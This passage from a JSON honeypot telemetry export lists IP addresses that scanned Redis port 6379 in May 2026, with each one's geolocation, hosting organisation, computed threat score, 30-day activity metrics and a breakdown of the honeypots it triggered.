      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 69.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 30,
        "ports_targeted_30d": 70,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T12:51:07.146000+00:00",
        "last_seen_30d": "2026-05-31T12:02:08.378000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 96
      }
    },
    "106.55.63.187": {
      "attack_count": 5,
      "first_seen": "2026-05-26T09:46:12.000Z",
      "last_seen": "2026-05-26T09:47:20.638Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-26T09:47:20.638000+00:00",
        "last_seen_30d": "2026-05-26T09:47:20.638000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "120.132.84.17": {
      "attack_count": 5,
      "first_seen": "2026-05-02T08:33:36.000Z",
      "last_seen": "2026-05-02T08:34:40.326Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 0.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T08:34:40.326000+00:00",
        "last_seen_30d": "2026-05-02T08:34:40.326000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "157.230.230.98": {
      "attack_count": 5,
      "first_seen": "2026-05-29T20:55:05.000Z",
      "last_seen": "2026-05-29T20:56:09.100Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 55.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.4,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 2,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-29T20:35:18.986000+00:00",
        "last_seen_30d": "2026-05-30T18:09:13.118000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 100,
        "Ciscoasa": 7,
        "ElasticPot": 3
      }
    },
    "167.172.136.184": {
      "attack_count": 5,
      "first_seen": "2026-05-14T00:09:42.000Z",
      "last_seen": "2026-05-14T00:10:50.594Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 1906,
        "days_active_30d": 3,
        "ports_targeted_30d": 1896,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-12T13:59:12.520000+00:00",
        "last_seen_30d": "2026-05-14T00:17:23.721000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1872,
        "Honeytrap": 33,
        "Sentrypeer": 1
      }
    },
    "175.27.135.243": {
      "attack_count": 5,
      "first_seen": "2026-05-25T04:12:20.000Z",
      "last_seen": "2026-05-25T04:13:24.079Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanjing",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-25T04:13:24.079000+00:00",
        "last_seen_30d": "2026-05-25T04:13:24.079000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "195.184.76.157": {
      "attack_count": 5,
      "first_seen": "2026-05-23T15:48:27.000Z",
      "last_seen": "2026-05-23T15:49:33.388Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 64.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.2,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 25,
        "ports_targeted_30d": 112,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T03:19:11+00:00",
        "last_seen_30d": "2026-05-26T18:24:32.653000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 118,
        "Honeytrap": 14,
        "Dionaea": 1
      }
    },
    "65.49.1.188": {
      "attack_count": 5,
      "first_seen": "2026-05-07T13:02:01.000Z",
      "last_seen": "2026-05-07T13:03:02.627Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 74.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 30,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T07:59:39.130000+00:00",
        "last_seen_30d": "2026-05-31T09:36:04.786000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Honeytrap": 3,
        "H0neytr4p": 2
      }
    },
    "65.49.1.240": {
      "attack_count": 5,
      "first_seen": "2026-05-24T05:08:12.000Z",
      "last_seen": "2026-05-24T05:09:20.609Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 66.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 29,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T05:39:17.850000+00:00",
        "last_seen_30d": "2026-05-30T14:36:25.455000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Honeytrap": 2
      }
    },
    "66.132.186.252": {
      "attack_count": 5,
      "first_seen": "2026-05-05T09:31:40.000Z",
      "last_seen": "2026-05-05T09:32:46.166Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 73.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 30,
        "ports_targeted_30d": 66,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T09:43:41.909000+00:00",
        "last_seen_30d": "2026-05-31T16:20:27.244000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Sentrypeer": 1
      }
    },
    "68.183.16.143": {
      "attack_count": 5,
      "first_seen": "2026-05-25T07:47:33.000Z",
      "last_seen": "2026-05-25T07:48:37.092Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-25T07:48:37.092000+00:00",
        "last_seen_30d": "2026-05-25T07:48:37.092000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "74.207.253.22": {
      "attack_count": 5,
      "first_seen": "2026-05-17T12:50:36.000Z",
      "last_seen": "2026-05-17T12:51:44.534Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 177,
        "days_active_30d": 30,
        "ports_targeted_30d": 164,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T01:52:06.118000+00:00",
        "last_seen_30d": "2026-05-31T21:04:44.696000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 177
      }
    },
    "91.231.89.53": {
      "attack_count": 5,
      "first_seen": "2026-05-18T08:18:55.000Z",
      "last_seen": "2026-05-18T08:19:59.739Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 78.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 23.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 204,
        "days_active_30d": 30,
        "ports_targeted_30d": 104,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T06:14:55.740000+00:00",
        "last_seen_30d": "2026-05-31T22:04:44.747000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 173,
        "Honeytrap": 31
      }
    },
    "13.219.1.233": {
      "attack_count": 4,
      "first_seen": "2026-05-31T14:27:56.000Z",
      "last_seen": "2026-05-31T14:28:56.794Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 83.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 30,
        "ports_targeted_30d": 84,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T00:25:48.746000+00:00",
        "last_seen_30d": "2026-05-31T23:07:41.049000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 201,
        "Honeytrap": 22,
        "Dionaea": 1
      }
    },
    "141.98.10.182": {
      "attack_count": 4,
      "first_seen": "2026-05-23T02:09:06.000Z",
      "last_seen": "2026-05-23T02:10:13.651Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Lithuania",
      "country_code": "LT",
      "city": null,
      "asn": 209605,
      "as_org": "UAB Host Baltic",
      "threat_score": 76.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 488,
        "days_active_30d": 30,
        "ports_targeted_30d": 410,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T00:51:49.107000+00:00",
        "last_seen_30d": "2026-05-31T22:52:50.157000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 488
      }
    },
    "142.93.255.85": {
      "attack_count": 4,
      "first_seen": "2026-05-05T00:33:41.000Z",
      "last_seen": "2026-05-05T00:34:43.676Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 59.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.5,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 27,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-05T00:34:43.676000+00:00",
        "last_seen_30d": "2026-05-31T21:57:29.851000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14
      }
    },
    "147.182.141.181": {
      "attack_count": 4,
      "first_seen": "2026-05-11T22:44:20.000Z",
      "last_seen": "2026-05-11T22:45:29.051Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 2109,
        "days_active_30d": 2,
        "ports_targeted_30d": 1888,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-10T10:50:34.961000+00:00",
        "last_seen_30d": "2026-05-11T23:38:53.002000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1952,
        "Sentrypeer": 89,
        "Honeytrap": 68
      }
    },
    "176.53.85.149": {
      "attack_count": 4,
      "first_seen": "2026-05-22T14:19:46.000Z",
      "last_seen": "2026-05-22T14:20:48.800Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 42926,
      "as_org": "Radore Veri Merkezi Hizmetleri A.S.",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.0,
        "persistence": 16.7,
        "diversity": 10,
        "spread": 5,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 20,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-03T23:00:07.503000+00:00",
        "last_seen_30d": "2026-05-22T14:20:48.800000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5
      }
    },
    "45.198.224.147": {
      "attack_count": 4,
      "first_seen": "2026-05-27T01:00:09.000Z",
      "last_seen": "2026-05-27T01:01:47.370Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 215925,
      "as_org": "Vpsvault.host Ltd",
      "threat_score": 38.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 5.8,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 7,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-22T15:34:11.064000+00:00",
        "last_seen_30d": "2026-05-28T14:53:16.300000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17
      }
    },
    "64.62.197.151": {
      "attack_count": 4,
      "first_seen": "2026-05-10T15:48:44.000Z",
      "last_seen": "2026-05-10T15:49:47.912Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 60.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 12.8,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 27,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T13:38:33.124000+00:00",
        "last_seen_30d": "2026-05-29T15:15:15.233000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Honeytrap": 4
      }
    },
    "65.49.1.125": {
      "attack_count": 4,
      "first_seen": "2026-05-14T07:00:25.000Z",
      "last_seen": "2026-05-14T07:01:34.775Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 77.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.3,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 27,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-05T11:04:56.877000+00:00",
        "last_seen_30d": "2026-05-31T00:13:08.965000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Honeytrap": 6,
        "ElasticPot": 1,
        "H0neytr4p": 1
      }
    },
    "65.49.1.139": {
      "attack_count": 4,
      "first_seen": "2026-05-09T13:35:37.000Z",
      "last_seen": "2026-05-09T13:36:46.907Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 60.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.1,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 27,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T09:52:23+00:00",
        "last_seen_30d": "2026-05-28T05:04:06.247000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Honeytrap": 4
      }
    },
    "65.49.1.72": {
      "attack_count": 4,
      "first_seen": "2026-05-06T16:15:48.000Z",
      "last_seen": "2026-05-06T16:16:54.285Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 55.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.4,
        "persistence": 20.0,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 24,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-05T05:35:08.082000+00:00",
        "last_seen_30d": "2026-05-28T04:35:25.305000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Ciscoasa": 1,
        "Honeytrap": 1
      }
    },
    "74.82.47.48": {
      "attack_count": 4,
      "first_seen": "2026-05-02T14:09:51.000Z",
      "last_seen": "2026-05-02T14:10:57.762Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 58.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 29,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T14:10:57.762000+00:00",
        "last_seen_30d": "2026-05-30T08:05:50.047000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12
      }
    },
    "95.174.71.152": {
      "attack_count": 4,
      "first_seen": "2026-05-10T09:15:33.000Z",
      "last_seen": "2026-05-10T09:16:40.384Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 8849,
      "as_org": "Melbikomas UAB",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.5,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 2,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T13:20:02.637000+00:00",
        "last_seen_30d": "2026-05-10T09:16:40.384000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 33,
        "Honeytrap": 12
      }
    },
    "3.143.162.210": {
      "attack_count": 155,
      "first_seen": "2026-05-10T03:18:47.000Z",
      "last_seen": "2026-05-23T02:35:48.405Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 68.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 2515,
        "days_active_30d": 22,
        "ports_targeted_30d": 125,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-05-02T04:32:29+00:00",
        "last_seen_30d": "2026-05-23T19:15:40.279000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1600,
        "Honeytrap": 782,
        "Redishoneypot": 44,
        "Cowrie": 32,
        "Mailoney": 20,
        "Dionaea": 13,
        "Ipphoney": 12,
        "Tanner": 5,
        "Ciscoasa": 2,
        "ConPot": 2,
        "ElasticPot": 2,
        "CitrixHoneypot": 1
      }
    },
    "36.133.118.248": {
      "attack_count": 113,
      "first_seen": "2026-05-03T17:14:26.000Z",
      "last_seen": "2026-05-31T18:52:54.998Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 53.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.8,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T17:14:26+00:00",
        "last_seen_30d": "2026-05-31T18:52:54.998000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 36,
        "Suricata": 12
      }
    },
    "193.29.13.64": {
      "attack_count": 81,
      "first_seen": "2026-05-31T07:22:59.000Z",
      "last_seen": "2026-05-31T07:24:28.996Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 42397,
      "as_org": "Bunea TELECOM SRL",
      "threat_score": 75.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6027,
        "days_active_30d": 1,
        "ports_targeted_30d": 442,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-31T07:22:57+00:00",
        "last_seen_30d": "2026-05-31T07:26:08.551000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3493,
        "Honeytrap": 2441,
        "ConPot": 24,
        "Dionaea": 24,
        "Redishoneypot": 18,
        "Cowrie": 12,
        "Dicompot": 6,
        "Miniprint": 6,
        "CitrixHoneypot": 3
      }
    },
    "185.200.116.203": {
      "attack_count": 80,
      "first_seen": "2026-05-12T16:37:55.000Z",
      "last_seen": "2026-05-13T08:30:08.496Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 52.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.8,
        "persistence": 8.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 10,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-12T16:33:41.172000+00:00",
        "last_seen_30d": "2026-05-21T21:37:48.928000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 165,
        "Redishoneypot": 59,
        "H0neytr4p": 51,
        "Tanner": 22,
        "Dionaea": 1,
        "Honeytrap": 1
      }
    },
    "3.15.227.56": {
      "attack_count": 75,
      "first_seen": "2026-05-27T04:42:32.000Z",
      "last_seen": "2026-05-27T04:55:32.599Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 56.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 245,
        "days_active_30d": 1,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-27T02:55:58+00:00",
        "last_seen_30d": "2026-05-27T09:31:35.993000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 145,
        "Honeytrap": 65,
        "Redishoneypot": 22,
        "Mailoney": 13
      }
    },
    "218.78.131.154": {
      "attack_count": 64,
      "first_seen": "2026-05-04T05:30:48.000Z",
      "last_seen": "2026-05-28T21:32:21.892Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4812,
      "as_org": "China Telecom Group",
      "threat_score": 34.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-04T05:31:56.411000+00:00",
